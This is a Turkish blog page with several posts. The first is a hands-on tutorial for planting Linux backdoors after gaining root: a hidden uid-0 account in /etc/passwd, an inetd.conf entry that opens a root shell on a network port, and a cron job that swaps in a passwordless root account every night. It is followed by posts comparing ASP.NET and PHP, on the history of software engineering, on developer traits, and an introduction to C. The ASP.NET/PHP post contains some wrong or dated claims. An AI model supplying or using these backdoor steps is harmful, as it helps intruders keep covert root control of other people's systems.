Backdoor Nedir ??

Bu yazıda birkaç arka kapı örneği bulabilirsiniz. Çok karışık olmayanlarından, yani kendi Linux'ünüzde yazıyı okur okumaz deneyebilirsiniz, ve ayrıca göstereceğim arka kapılardan yola çıkıp hayal gücünüzü de kullanarak, çok hoş arka kapılar yapabilirsiniz..Yalnız arka kapılar "root" elde etmek için değildir. Arka kapılar çok çalışıp zorla elde ettiğiniz "root"'u sistemde güvenlik delikleri oluşturarak bir sonraki geri dönüşünüz için elinizde tutmanız içindir.

Herneyse, diyelim ki çok aceleniz var ve hemen bir arka kapı oluşturmak istiyorsunuz. /etc/passwd dosyasını hemen bir programla açıp ortalarına bir yere şüphe çekmeyecek bir root hesabı ekleyin ya da dosyanın derinlerinde bir yerlerde sistem yöneticisinin daha önceden dondurduğu bir hesabın uid'ini 0 yapın ve * işaretini kaldırın.



Bunlar zorunlu kalmadıkça kullanılmaması gereken yöntemlerdir ve sistem yöneticisinin en çabuk fark edeceği kapılardır. Bu yüzden ZORUNLU KALMADIKÇA KULLANMAYIN!!!

Şimdi geldik bir inetd.conf arka kapısına! Ama en eğlencelisini sona sakladım..hehe... Inetd, sistemin portlarını yükleyen bir programdır ve aynı zamanda arka kapılar için de çok uygundur. Gerçi /etc/inetd.conf dosyasında değişiklik yapılarak yaratılan arka kapıların yaşam süresi sistem yöneticisine göre değişir. Pek uzun yaşayacaklarını hiç sanmıyorum; fakat denemeye değer. Aşağıda kendi bilgisayarımdaki Linux'den aldığım bir /etc/inetd.conf örneği var.

(Tabii ki hepsi değil...)

#ftp stream tcp nowait root /usr/sbin/tcpd in.ftpd -l -a

#telnet stream tcp nowait root /usr/sbin/tcpd in.telnetd

#gopher stream tcp nowait root /usr/sbin/tcpd gn

#nntp stream tcp nowait root /usr/sbin/tcpd in.nntpd

#shell stream tcp nowait root /usr/sbin/tcpd in.rshd

#login stream tcp nowait root /usr/sbin/tcpd in.rlogind

#exec stream tcp nowait root /usr/sbin/tcpd in.rexecd

#talk dgram udp wait root /usr/sbin/tcpd in.talkd

#ntalk dgram udp wait root /usr/sbin/tcpd in.ntalkd

#dtalk stream tcp waut nobody /usr/sbin/tcpd in.dtalkd

#pop-2 stream tcp nowait root /usr/sbin/tcpd ipop2d

#pop-3 stream tcp nowait root /usr/sbin/tcpd ipop3d

#imap stream tcp nowait root /usr/sbin/tcpd imapd

#uucp stream tcp nowait uucp /usr/sbin/tcpd /usr/lib/uucp/uucico -l

#tftp dgram udp wait root /usr/sbin/tcpd in.tftpd

#bootps dgram udp wait root /usr/sbin/tcpd bootpd

finger stream tcp nowait root /usr/sbin/tcpd in.fingerd -l

#cfingerstream tcp nowait root /usr/sbin/tcpd in.cfingerd

#systat stream tcp nowait guest /usr/sbin/tcpd /bin/ps -auwwx

#netstatstream tcp nowait guest /usr/sbin/tcpd /bin/netstat -f inet

#time stream tcp nowait nobody /usr/sbin/tcpd in.timed

#time dgram udp wait nobody /usr/sbin/tcpd in.timed

#auth stream tcp nowait nobody /usr/sbin/in.identd in.identd -l -e -o

# işareti Linux'e o satırı okumamasını sağlıyor. Gördüğünüz gibi benim sadece telnet ve finger portlarım açık. Aslında normalde ben hiç bir portumu açık bırakmam, ama bu aralar açık işte Şimdi "Bunlarda nedir?" diye soracaksınız. Telnet'i ele alalım. Satırdaki birinci bölüm çalıştırılacak daemon'un, yani, programın ismidir. İkinci bölümdeki stream socket tipidir. TCP'nin socketi stream ,UDP'ninkiyse dgram. Sonraki bölümde ise protocol ismini görüyorsunuz. Sonraki bölümdeyse programın hangi kullanıcı türü olarak çalışacağı belirlenir. Yani telnet root (uid=0) olarak çalışacak. Beşinci bölümde ise programın bulunduğu dizin var; fakat benim inetd.conf dosyamda /usr/sbin/tcpd'yi görüyorsunuz. Tcpd güvenlik için bazı bilgileri kaydeden bir daemon olduğuna göre, burada telnetin hareketleri normalde olduğundan fazla kaydediliyor. Son bölümdeyse daemonun paremetreleriyle beraber gerçek ismini görüyorsunuz.

Bir de daemonların hangi portları ve protocolleri kullandığını içeren /etc/services dosyası vardır. Bu dosya sayesinde 23 olan telnet portunu, 7000 yapabiliriz Aşağıda bir services örneği var:

tcpmux 1/tcp # rfc-1078

echo 7/tcp

echo 7/udp

discard 9/tcp sink null

discard 9/udp sink null

systat 11/tcp users

daytime 13/tcp

daytime 13/udp

netstat 15/tcp

qotd 17/tcp quote

chargen 19/tcp ttytst source

chargen 19/udp ttytst source

ftp-data 20/tcp

ftp 21/tcp

telnet 23/tcp

smtp 25/tcp mail

time 37/tcp timserver

time 37/udp timserver

rlp 39/udp resource # resource location

name 42/udp nameserver

whois 43/tcp nicname # usually to sri-nic

domain 53/tcp

domain 53/udp

mtp 57/tcp # deprecated

bootps 67/udp # bootp server

bootpc 68/udp # bootp client

tftp 69/udp

gopher 70/tcp # gopher server

rje 77/tcp

finger 79/tcp

http 80/tcp # www is used by some broken

www 80/tcp # progs, http is more correct

link 87/tcp ttylink

kerberos 88/udp kdc # Kerberos authentication--udp

kerberos 88/tcp kdc # Kerberos authentication--tcp

supdup 95/tcp # BSD supdupd(8 )

hostnames 101/tcp hostname # usually to sri-nic

iso-tsap 102/tcp

x400 103/tcp # ISO Mail

x400-snd 104/tcp

csnet-ns 105/tcp

pop-2 109/tcp # PostOffice V.2

pop-3 110/tcp # PostOffice V.3

pop 110/tcp # PostOffice V.3

sunrpc 111/tcp

sunrpc 111/tcp portmapper # RPC 4.0 portmapper UDP

sunrpc 111/udp

sunrpc 111/udp portmapper # RPC 4.0 portmapper TCP

auth 113/tcp ident # User Verification

sftp 115/tcp

uucp-path 117/tcp

nntp 119/tcp usenet # Network News Transfer

ntp 123/tcp # Network Time Protocol

ntp 123/udp # Network Time Protocol

netbios-ns 137/tcp nbns

netbios-ns 137/udp nbns

netbios-dgm 138/tcp nbdgm

netbios-dgm 138/udp nbdgm

netbios-ssn 139/tcp nbssn

imap 143/tcp # imap network mail protocol

NeWS 144/tcp news # Window System

snmp 161/udp

snmp-trap 162/udp

exec 512/tcp # BSD rexecd(8 )

biff 512/udp comsat

login 513/tcp # BSD rlogind(8 )

who 513/udp whod # BSD rwhod(8 )

shell 514/tcp cmd # BSD rshd(8 )

syslog 514/udp # BSD syslogd(8 )

printer 515/tcp spooler # BSD lpd(8 )

talk 517/udp # BSD talkd(8 )

ntalk 518/udp # SunOS talkd(8 )

efs 520/tcp # for LucasFilm

route 520/udp router routed # 521/udp too

timed 525/udp timeserver

tempo 526/tcp newdate

courier 530/tcp rpc # experimental

conference 531/tcp chat

netnews 532/tcp readnews

netwall 533/udp # -for emergency broadcasts

uucp 540/tcp uucpd # BSD uucpd(8 ) UUCP service

klogin 543/tcp # Kerberos authenticated rlogin

kshell 544/tcp cmd # and remote shell

new-rwho 550/udp new-who # experimental

remotefs 556/tcp rfs_server rfs # Brunhoff remote filesystem

rmonitor 560/udp rmonitord # experimental

monitor 561/udp # experimental

pcserver 600/tcp # ECD Integrated PC board srvr

mount 635/udp # NFS Mount Service

pcnfs 640/udp # PC-NFS DOS Authentication

bwnfs 650/udp # BW-NFS DOS Authentication

kerberos-adm 749/tcp # Kerberos 5 admin/changepw

kerberos-adm 749/udp # Kerberos 5 admin/changepw

kerberos-sec 750/udp # Kerberos authentication--udp

kerberos-sec 750/tcp # Kerberos authentication--tcp

kerberos_master 751/udp # Kerberos authentication

kerberos_master 751/tcp # Kerberos authentication

krb5_prop 754/tcp # Kerberos slave propagation

listen 1025/tcp listener RFS remote_file_sharing

nterm 1026/tcp remote_login network_terminal

kpop 1109/tcp # Pop with Kerberos

ingreslock 1524/tcp

tnet 1600/tcp # transputer net daemon

cfinger 2003/tcp # GNU finger

nfs 2049/udp # NFS File Service

eklogin 2105/tcp # Kerberos encrypted rlogin

krb524 4444/tcp # Kerberos 5 to 4 ticket xlator

irc 6667/tcp # Internet Relay Chat

dos 7000/tcp msdos

Buraya istediğinizi ekleyebilirsiniz. Örneğin; ircyi ele alalım. Baştaki "irc" sözcüğü /etc/inetd.conf'un içinde yer alacak olan isim, 6667 port numarası, tcp protokol tipi, # işaretinden sonraki bölümse açıklaması. Artık bu anlattıklarımdan sonra, kapıyı nasıl koyacağınızı anlatacağım.

Kendi servisinizi yükleyebilirsiniz ya da önceden yüklenmiş bir servisi değiştirebilirsiniz.

Örneğin, kurbanımız time olsun.

time stream tcp nowait nobody /usr/sbin/tcpd in.timed

Time'ın port numarası services dosyasında 37 olarak belirlendiği için services dosyasını değiştirmeye gerek yok. Önemli olan son üç bölüm. Kapımızın root olarak çalışması şart olduğu için nobody yerine root yazın. /usr/sbin/tcpd yerine /bin/sh yazın. Ve son olarak in.timed yerine sh -i yazın. Satırın aynı aşağıdaki gibi olması gerekiyor:

time stream tcp nowait root /bin/sh sh -i

Hepsi bu kadar! Eğer isterseniz riske girip yönetici yerine siz "killall -HUP inetd" yazarak dosyayı tekrar okutabilirsiniz ya da biraz bekleyebilirsiniz. Şimdi tek yapacağınız port 37'ye telnet çekmek. Root olarak sistemde bulacaksınız kendinizi...heuehuhu...Tek yapacağınız kapınızı /etc/services dosyasına tanıtmak ve inetd.conf'a eklemek. İşte size bir örnek:

inetd.conf --> filter stream tcp nowait root /bin/sh sh -i

services --> filter 8000/tcp backdoor

İşte bu kadar. Şimdi tek yapacağınız "killall -HUP inetd" yazıp, port 8000'e telnet çekmek. Hiç zor değil...Ama bu kapılar daha önce de dediğim gibi hemen fark edilir. Peki hangileri hemen fark edilmez? C dosyası şeklinde olan truva atları tabii ki!

Ve son olarak /etc/crontab kapılarına geldik. Sadece bir tane örnek vereceğim, çünkü hayal gücünüzü kullanarak bir sürü değişik kapı üretebilirsiniz. Crond istediğiniz zamanda istediğiniz işlemi yapmanızı sağlayan çok yararlı bir araçtır. Şimdiki örnekte, crond 30 saniyeliğine begüm isimli bir kullanıcıyı aktif hale getiriyor. Basit ama etkili br örnek.

Nasıl mı yapacaksınız? Çok basit, sadece /etc/crontab dosyasına bir satır gireceksiniz ve birkaç shell dosyası yapacaksınız. Tabii ki biraz unix bilginizin olduğunu düşünüyorum. Aşağıda crontab dosyasındaki alanların açıklamaları var:

(1) (2) (3) (4) (5) (6)

dakika saat gün ay haftanınçalıştırılacak komut ya da dosya

0-59 0-23 1-31 1-12 0-6günü

Şimdi /var/spool/crond/ ya da /var/spool/mail/ dizinlerinden biri mutlaka olacaktır. Varsa /var/spool/crond/, yoksa /var/spool/mail/ dizininin içine gidip "begum" adlı bir dosya yaratın ve bu dosyanın içine şunları girin:

30 23 * * * sh /usr/bin/test

Sonra /usr/bin/ dizinine gidin ve test adlı bir dosya yaratıp şu değişiklikleri yapın:

cp /etc/passwd /etc/passwdd

rm /etc/passwd

cp /etc/tester /etc/passwd

sleep 30

rm /etc/passwd

cp /etc/passwdd /etc/passwd

Daha sonra /etc/'ye gidip tester adlı bir dosya yaratıp aşağıdakileri girin:

begum::0:0:Begum Atac:/:/bin/bash

İşte arka kapınız hazır! Her gün saat 23:30'da 30 saniyeliğine gerçek passwd dosyası yerine kendi begum isimli root hesabımızı aktif hale getiriyoruz! Bu çok basit ve bir çok insanın bildiği bir kapıdır. Tabii ki hayal gücünüz sayesinde çok daha karmaşık ve iyilerini yaratabilirsiniz.



Devamını okuyun...>>

ASP mi PHP mi ???

Birçok defa karşılaştığımız bu soruya tam olarak bir cevap vermek zor. Fakat yeni başlayanlar için seçimi kolaylaştırmak amacıyla her ikisinin de kendi artıları ve eksilerini bilmekte fayda var.



ASP.NET nedir ve avantajları nelerdir?



ASP.NET, güçlü web uygulamalarının hızla hazırlanabilmesi için Microsoft tarafından hazırlanan en son programlama çatısı olarak özetlenebilir. Yani ASP.NET bir programlama dili olmayıp bir programlama çatısıdır. ASP.NET'i ASP'nin son sürümü olarak düşünmektense, yeni bir dönemin başlangıcı olarak görmek daha doğru olabilir.



Daha hızlı web uygulamaları



ASP.NET derlenmiş kod ve saklanma işlemi ile hız kazanıyor. Daha önceki ASP sürümlerinde bir kullanıcı web sitesine girdiği zaman bilgisayar üzerinde anlık derlemeler yapılırdı ve bu hız kaybına neden olurdu. Artık ASP.NET ile hazırlanmış bir kod, bir ziyaretçi tarafından hiçbir zaman ziyaret edilmese bile derleniyor. Saklama işlemiyle de hafızaya bilgi depolanıp, bu sayede kullanıcılara verilerin daha hızlı yollanması sağlanabiliyor.




ASP.NET ile programcılar sayfalarını her kullanımda yeniden aratmak yerine bir kısmını 'caching' yani tamponlama işlemi sayesinde daha hızlı erişilebilir hale getirebiliyorlar. Bir diğer değişiklik ise ASP .NET ile veri tabanındaki belirli verilerin saklanabilir hale getirilebilmesi. Bu sayede çok değişmeyen bir veritabanını her seferinde tekrar yüklenmek yerine, hızlı erişilebilir forma sokulmuş oluyor.



Güçlü veritabanı fonksiyonları



ASP gibi ASP.NET de programcıların veri tabanlarıyla etkileşimli çalışabilen web uygulamaları yapabilmesine izin veriyor. ASP.NET'in asıl avantajlı bir çok programlama aracına imkan veren Nesne Merkezli (Object Oriented) programlama ile çalışması. Bu sayede daha fonksiyonel ve daha hızlı tasarıma imkan sağlıyor.



Hafıza sızıntısı ve çökme koruması



ASP.NET teki en çok beğenilen yeniliklerin başında hafıza sızıntısı ve çökme koruması özellikleri geliyor. Özellikle hafıza sızıntısı, çoğu kullanıcı tarafından pek bilinen bir konu değilken, sistem yöneticilerini sıkıntıya sokan durumlardan biridir. ASP.NET ile bu hatalar otomatik olarak düzeltilerek, kullanıcıların her zaman web sitesine ulaşabilmesi sağlanıyor.



Çoklu dil desteği



Programcılar artık 25'ten fazla .NET dili ile ASP.NET'i kullanabiliyorlar. Bu dillerden bazıları VB.NET, C# ve Jscript NET. Geniş dil desteği sayesinde birçok programcı web uygulamalarını kolayca hizmete sunabiliyor.



.NET'in parçası olmak



.NET çatısı 3400'den fazla sınıftan oluşan bir yapıya sahip, ASP.NET de .NET'in bir parçası olduğu için neredeyse web uygulaması olarak yapılamayacak hiçbir şey yokmuş gibi gözüküyor.



Programlar ve HTML artık aynı sayfada değil



Önceki sürüm ASP'lerde göze çarpan sorunlardan biri HTML sayfasında programlamanın da görünmesiydi. Diğer bir deyişle, scriptler ve HTML aynı sayfadaydı. Artık gösterilen kod ile script kodu ayrılmış olduğundan, Mic rosoft bunun önüne geçmek için bir önlem almış gibi görünüyor.



ASP.NET'in dezavantajları



Windows zorunluluğu



ASP.NET halen Windows işletim sistemi kullanan bir sunucu üzerinde yapılandırılmak zorunda; kısacası platform bağımsız değil. ASP'de de olan bu sorunu çözmek için Linux sistemlerinde çalışan birkaç ASP hosting sunucusu geliştirildiyse de, işin açıkçası pek başarılı olabilmiş değil. ASP.NET de hali hazırda Windows ve IIS (Internet Information Server)'a mahkumu görünüyor.



Güvenlik



Güvenlik açıkları ASP.NET'ten değil ne yazık ki IIS'ten kaynaklanıyor. Her yeni sürümde açıkları kapansa da IIS dünya çapında güvenlik açıklarıyla ünlü. Fakat .NET ile bununda bir dezavantaj olmaktan çıkması bekleniyor.



Bedava değil



Evet, buna bir çok kişi şaşıracak ama temelde ASP.NET bedava değil. Ne de olsa kendi bilgisayarınızda ASP.NET kullanabilmek için (lisanslı) bir Windows sürümüne ihtiyacınız var. Bu da demek ki tam anlamıyla bedava değil.



Eklenti krizi



ASP.NET kaynak olarak bedava gibi görünebilir ama programlama konusunda bilgili değilseniz hazırlıklı olmanız gereken bir durum var, o da eklentiler. Bir işlemi yapmak için gereken eklentiler genelde ücretli olarak satılıyor. Tabii saatlerce uğraştan sonra bedava olan birkaç eklentiyi zor da olsa bulabilirsiniz.



Hosting maliyeti



Eğer dışarıdan hosting hizmeti alacaksanız biraz daha fazla para ödemeye hazırlıklı olmanız gerekiyor. Çünkü genel olarak Windows hosting daha pahalı, ki bu da normal olması gereken bir fark.



PHP nedir ve avantajları nelerdir?



Personel Home Page'in kısaltmasından oluşan PHP bir web işaretleme dilidir. Zaman içinde çok fazla taraftar bulması sonucu insanlar arasında adı PHP: Hypertext Preprocessor' kısaltması olarak da değiştirildi. PHP aslında ASP'nin alternatifi olarak görünse de, ilerleyen zamanlarda PHP kendine rakip kabul etmez hale geldi.



Açık kaynak kodu



Kim ne derse desin açık kaynak kodu bilgisayar ile ilgili her sektörün lokomotifi durumunda.



Açık kaynak tabanlı her şey çok hızlı gelişiyor ve taraftar buluyor. Açık kaynak kodu sayesinde herhangi bir hata ya da açık bulunduğunda, saatler içinde yamalar yapılabiliyor. Kısacası sürekli olarak geliştirme çalışmaları devam ediyor.



Hız hız hız



Platform bağımsızlığı



PHP ile biri işletim sistemine mahkum değilsiniz. Unix, Linux, Solaris ve Windows altında PHP sunucusu kurabilirsiniz. Ayrıca PHP dünya üzerinde kullanılan birçok web sunucusu çözümünde destekleniyor. Örnek vermek gerekirse Apache, Microsoft IIS ve Microsoft PWS PHP desteklidir.



Maliyet hesapları



PHP açık kaynak kodu ile yazıldığı için herhangi bir maliyeti bulunmuyor. Bunun yanında şirketler PHP'nin açık kaynak kodu üzerinde çalışma yapıp, istedikleri değişiklikleri gerçekleştirerek, istedikleri sonucu alabiliyorlar. Daha da güzel olan, PHP eklentilerinin internet üzerinde binlerce sayıda ücretsiz olarak bulunduğu gerçeğidir. Hiçbir şey bilmeseniz bile PHP ile hazırlanmış bir portal'ı saniyeler içtnde çalışır hale getirebilirsiniz.



MySQL faktörü



Belki de tüm web tasarımcılarının kabul edeceği konu, MySQL veritabanının PHP ile mükemmel sonuç verdiğidir. Neredeyse bütünleşikmiş izlenimi veren bu birliktelik, performansı çok fazla etkiliyor. Internet üzerinde MySQL yönetimi ve ayarlaması için PHP ile hazırlanmış birçok kaynak bulmanız hiç de zor değil. Ayrıca MySQL bir çok veritabanmda bulunmayan fonksiyonlara sahip.



PHP'nin dezavantajları



Hatalarla baş etmek



PHP hatalarla başa çıkmak konusunda ASP.NET veya ColdFusion kadar başarılı ve güçlü değil. PHP'de yapılan bir hata, kolayca birden çok sayfada soruna neden olabiliyor.



Detaylı programlama zorluğu



PHP bir işaretleme dili olduğu için, bir PHP programından cevap alma süresi uzayabilir. Kısacası, ileri seviye programlama işaretleme dili ile yapılabilecek bir işlem değil.



Sonuç



Dünyaca ünlü web siteri, e-bay (www. ebay.com), hotmail, ASP.NET'e geçti bile, ASP ile çok yüksek trafikli site bulmanız pek kolay değilken, ASP.NET ile ilerleyen günlerde bu durum fazlasıyla değişecek. ASP.NET ile yeni bir dönemin açıldığı da kesin ve PHP'nin tahtı gerçek bir tehlike altında diyebiliriz. Bu savaşı kimin kazanacağınını önümüzdeki günlerde birlikte göreceğiz.


Devamını okuyun...>>

Yazılım Uzmanlığı Nasıl Doğdu ?

Bilgisayar programlarının tasarımı, geliştirilmesi, sınanması ve bakımı konularını ele alan mühendislik dalıdır. Diğer mühendislik dallarıyla karşılaştırıldığında çok yeni olan bu alanda sürekli yeni yöntemler geliştirilmekte ve konu yavaş yavaş belli bir olgunluğa ulaşmaktadır. Temel mühendislik prensiplerinin bu dalda da uygulanması, önceden tahmin edilebilir ve yinelenebilir sonuçların daha çok elde edilmesiyle yazılım mühendisliği gerçek bir mühendislik dalı olma yolunda ilerlemektedir.


Türkiye'de şu anda üç üniversitede bulunmaktadır. Şimdilik pek gelişmemiş olmasına karşın Türkiye'deki yazılım mühendisi açığı çok büyük olduğundan geleceğin mesleklerinden birisi olarak gösterilmektedir.

Yazılım mühendisliği, kurulduğu 1940'lardan 2000'lere kadar sürekli evrimleşmiştir. Uygulamalar da evrimleşmişlerdir.

Yazılım mühendisliği terimi ilk kez 1950'lerin sonunda 1960'ların başında görülmeye başladı. Programcılar zaten inşaat, elektrik ve bilgisayar mühendisliklerini biliyorlardı ve yazılım için mühendisliğin ne olduğunu tartışmaya başladılar. NATO Bilim Komitesi, 1968'deki ve 1969'daki yazılım mühendisliği üzerine bu alana destek olan iki konferansa (Garmisch, Almanya) destek oldu. Çoğu kişi bu konferansların yazılım mühendisliğindeki resmi başlangıç olduğuna inanır.

1960'lar, 70'ler ve 80'lerdeki yazılım geliştirmedeki sorunları tespit eden yazılım krizleri yazılım mühendisliğini teşvik edici unsur oldu. Birçok yazılım tasarısı bütçeyi aştı ve düşünülen zamanı geçti. Bazı tasarılar fiziksel zarara neden oldu, bir kesim tasarılar ise ölümlere bile neden oldu. Yazılım krizi önceleri verimlilik açısından tanımlanmış olsa da sonradan kaliteyi vurgulama ön plana geçti. Bazıları ise yazılım krizi kavramını yeterli kalitede programcı kiralayama karşılığı olarak kullandı.

Maaliyet ve bütçenin aşılması: OS/360 işletim sistemi klasik bir örnektir.

Fiziksel zarar: Yazılım kusurları fiziksel zararlara yol açabilir. Kötü yazılım güvenliği ise kırıcılara (hacker) kişisel bilgileri çalmasına izin verir, bu paraya, şöhrete ve zamana mal olur.

Yaşam ve ölüm: Yazılım kusurları öldürebilir. Radyoterapi makinelerinde kullanılan bazı gömülü sistemler başarısız oldu, bu yüzden makineler hastaları öldürücü dozlarda radyasyona maruz bıraktı. Bu başarısızlıkların en ünlüsü Therac 25 olayıdır

Devamını okuyun...>>

Neden Yazılım Uzmanı Olamayız ?

Neden yazılım uzmanı olamazsınız?
1. Kendi kendine öğrenmek yerine kursları tercih ediyorsunuz
2. Normal çalışma saatlerini seviyorsunuz
3. Küçük maaş artışlarını kıdem yükselmesine tercih ediyorsunuz
4. Ekip çalışmasında insan ilişkileriniz pek iyi değil
5. Kolayca sinirleniyorsunuz
6. Ekip elemanlarının fikirlerine kapalı iseniz
7. Detay adamı değilsiniz
8. Yaptığınız işten onur duymuyorsunuz
9. Önce ateş edip sonra soru soran tiplerden misiniz?
10. “Geek” tipini sevmiyorsunuz


Tech Republic’de yazan Justin James 10 maddede neden yazılım uzmanı olamayacağınızı açıklamış. Bakalım neymiş bu 10 madde.
1: Kendi kendine öğrenmek yerine kursları tercih ediyorsunuz
Yazılım Uzmanı ilk işe başladığında gerekli tüm bilgiyi biliyor olduğu varsayılır. Firmanın belirli bir eğitim politikası olsa bile gerçekte firmanın yardımı ile alacağınız eğitimler hiç bir zaman gerçekleşmez. En iyi ihitimalle bir iki kitap almanız için bir ödenek ayrılır. Yönetim ekibinin düşüncesine göre yazılım uzmanı problem çözmeyi bilen akıllı bir kişidir ve bu yüzden de eğitime ihtiyacı yoktur. Öte yandan kurs masrafları karşılanan yazılım uzmanının her zaman firmayı terkedip gitme ihtimali olduğu için firmanın yatırım yapması pek düşünülemez (olsa iyi olurdu tabii ama gerçek hayat bu). Bu durumlar göz önüne alındığında kendi kendinize öğrenebiliyor olmanız gerekir. Eğer bu disiplin sizde yoksa yazılım uzmanı olmayı aklınızdan bile geçirmeyin.


2: Normal çalışma saatlerini seviyorsunuz
Yazılım projelerinin geç bitme olayını herkes bilir. Zamanında biten projeler bile projenin hayatı boyunca çoğu kereler geç kalma durumuna düşmüştür. Eğer 9’dan 5’e bir işte çalışmayı seviyor ve yazılım projelerinin uzun çalışma saatlerine ve gecelemelerine dayanamayacağınızı düşünüyorsanız yazılım uzmanı olmayı aklınızdan çıkarın. Patronunuz, ürünün zamanında müşteriye ulaştırılmasını, sizin oğlunuzun spor müsabakasından yada televizyonda seyretmek istediğiniz programdan daha önemli tutacaktır.
3: Küçük maaş artışlarını kıdem yükselmesine tercih ediyorsunuz
Teknolojik değişmeleri uygulamayan bir firmada çalışmıyorsanız, şimdi bildiğiniz şeyler seneye ya geçersiz yada az ödeyen konuma gelecektir. Bugün gözde olan teknolojiler seneye isimleri bile hatırlanmayan garip teknolojiler olabilir. İşin sırrı hızlı biçimde değişmektir. Yeni teknolojileri hızlı (herkesden önce) öğrenip konu hakkında otorite olmaya bakın. Hiç yeni bir teknoloji öğrenmeden aynı koltukta oturup, maaşınıza gelecek zammın hayat standardınıza yeteceğini düşünüyorsanız yanılıyorsunuz. Ya deneyimlerinizi ilerletip aynı firmada kıdem yükseltmeli yada başka bir firmaya geçerek aldığınız maaşı yükseltmelisiniz.
4: Ekip çalışmasında insan ilişkileriniz pek iyi değil
Yazılım uzmanları her ne kadar a-sosyal insanlar olarak bilinsede bir araya geldiklerinde hararetli konuşmalar yaparlar ve kendileri gibi olan insanlarla hemen kaynaşıp sosyalleşirler. Hangi dükkanda indirim var veya dün akşamki diziden bahsetmedikleri için dışarıdan kulak misafiri olanlara Fransızca gibi gelir ama aslında çok sosyal insanlardır. Ekip içinde çalışamıyor ve iletişimin düşük olduğunu düşünüyorsanız yada ekip arkadaşları ile bağlantı kuramıyorsanız; problem genellikle sizdedir. Aynı deneyimleri yaşamamış kişilerin bağlantı kurmaları beklenemez.
5: Kolayca sinirleniyorsunuz
Yazılım dünyası pek çok engellerle doludur. Belgeler genelde tam değildir, sizden önceki yazılımcı okunmaz bir kod yazmıştır, proje müdürünün anlaşılmaz kuralları vardır, herkesin uyması beklenen... liste daha da uzatılabilir. Sonuç olarak kimse sürekli bela okuyan ve ekrana küfür eden birisi ile aynı çatı altında olmak istemez. Eğer 8 saatlik bir uğraşın sonunda konuyu 10 dakikada çözebileceğinizi görüp deliriyorsanız bu kariyer sizin için değildir.
6: Ekip elemanlarının fikirlerine kapalı iseniz
Yazılım geliştirmede genelde problemlerin birden fazla çözümü vardır her yiğidin bir yoğurt yiyişi olduğu gibi. Eğer gelen kritikleri ve diğer çözümleri göz ardı ediyorsanız önemli bir noktayı gözden kaçırıyor olabilirsiniz. Sektörde yani olan ve deneyimleri sizden az olan birinin yapacağı bir tavsiye size pek çok şey kazandırabilir. Tabii bu tavsiyeye önem verip uygularsanız.
7: Detay adamı değilsiniz
Programlama olayı komplex bir olaydır ve dikkat ister. Eğer Conan The Barbarian filminden daha karmaşık bir filmi izlerken kayboluyorsanız yada bir yeni nesil ev kredisi formunu doldururken zorlanıyorsanız yazılım uzmanlığı büyük ihtimalle sizin için değildir. Bazen unutulan bir virgül, başarı ile başarısızlık arasındaki çizgiyi çizer. Eğer bu virgülü arayıp bulacak yapıya ve sinir esnekliğine sahip değilseniz kariyeriniz belli limitler içinde yer alır.
8: Yaptığınız işten onur duymuyorsunuz
Kitaba göre yazılım üretmek ve orta derece ile geçecek bir iş çıkartmak mümkündür. Problem, kitapların sürekli güncelleniyor olmasıdır. Yazılım geliştirmek bir fabrika işi değildir. Fabrikada işler belirli bir prosedüre göre gider ve beyin seviyeniz ne olursa olsun prosedürü uyguladıktan sonra iş ortaya çıkar. Yazılım geliştirme daha çok bilimsel bir iştir ve bağımsız düşünce gerektirir ki bu da yaptığınız işten gurur duymanızı sağlar. Bir işi yanlış yoldan yapıp üretime geçildiğinde ancak yeteri kadar çalışmasını sağlayabilirsiniz fakat göz ardı ettiğiniz o hata problem açmıyor gibi görünsede ileride problem açacaktır. Yazılımcı olarak yaptığınız işin gurur duyulacak bir iş olduğunu düşünmüyorsanız ürettiğiniz ürünün kalitesi düşük olacaktır ve kariyerinizin sürekliliği ile doğru orantılı olacaktır. Siz ayrıldıktan sonra arkanızdan konuşulmasını istemiyorsanız (gerçi ağzınla kuş tutsan arkandan konuşacaklardır) haysiyet ve onurunuzu korumak için yaptığınız işin tam olmasına dikkat edin. En azından sizin içiniz rahat olur.
9: Önce ateş edip sonra soru soran tiplerden misiniz?
Yazılım uzmanı bir parça kod yazmadan önce bir planlama aşaması geçirir ve kod yazmaktan daha fazla zaman planlamaya ayrılır. Eğer kod yazma aracınızı açıp Allah ne verdiyse kod yazmaya başlıyorsanız %100 ihtimalle iki ay sonra yazdığınız kod tamamı ile değişecektir. Konu hakkında düşünen, planlayan yazılım uzmanı ise daha az hata ile daha kısa sürede kod yazacaktır. Çoğu programcıların neden 10 parmak yazamadığının nedeni de budur; işin zor kısmı ne yazacağını bilmektir. Eğer düşünen bir insan değilseniz yazılım uzmanlığı sizin için bir kariyer değildir.
10: “Geek” tipini sevmiyorsunuz
Haklı kimi nedenlerden dolayı, mühendis veya teknik kişilerin yakınında olmaktan hoşlanmıyor olabilirsiniz. Eğer Dilbert gibi bir kişilikten çekiniyorsanız yazılım uzmanlığını düşünmeyin bile. Tabii ki her yazılım uzmanı böyle değil ama sektörün büyük bir çoğunluğunu oluşturuyor ve aralarında haliniz yaman olur.
Çalışma hayatım boyunca çok rastladığım bir insan tipi “bir iş fazla para ödüyor” diye o işe girenler. Daha önce ahçı olan ve iki yazılım kursundan sonra yazılım uzmanı kesilen ve sektörde para kazanan pek çok kişi tanıyorum. Yaptıkları işlerin kalitesi ise yerlerde sürünüyor. Bir kaçının proje ortasında işine son verildiğine de şahit oldum. Tamam yazılım sektörü çok ballı bir sektör ama üzüldüğüm bir konu varsa o da bu kişilerin ürettiği ürünlerin bizim tarafımızdan ileride tamir edilecek olması. İlla yazılım uzmanı olmaya da gerek yok bence. Yazılım sektörünün daha bir çok dalı var ki bu dallarda hakikaten adama ihtiyaç var. Örneğin, yazılım tasarımcısı, iş analisti, sistem destek uzmanı, veri tabanı uzmanlığı, donanım uzmanlığı, test uzmanı vs. liste daha da uzatılabilir. Bu dallarda ki açıklar genelde yazılım uzmanı tarafından kapatılmaya çalışılıyor yada firmalar yazılım uzmanlarından bunu bekliyorlar. Yanlış bir uygulama ve tasarımın ve analizin kalitesini düşürüyor.
Siz ne düşünüyorsunuz? Bu liste daha da uzatılabilir mi? Yazılım uzmanı olmanın başka gereklilikleri var mı? Yorumlarınızı bekliyorum.


Devamını okuyun...>>

C NEDİR ?? ( GERÇEKTEN KAPSAMLI BİR DOSYA )

C Dili - 1. Konu

C NEDIR ?
C programlama dili, Dennis Ritchie tarafindan Bell laboratuarlarinda
yaratilmistir. PDP-11 ile Unix altinda calismak icin yaratilmis olmasina
ragmen, ilgi uzerine MS-DOS altinda calisacak hale getirilmistir.
Basitligi, olusan kodun kucuklugu, ve her cesit programlamada
kullanilabilmesi, C yi populer bir dil yapmistir.

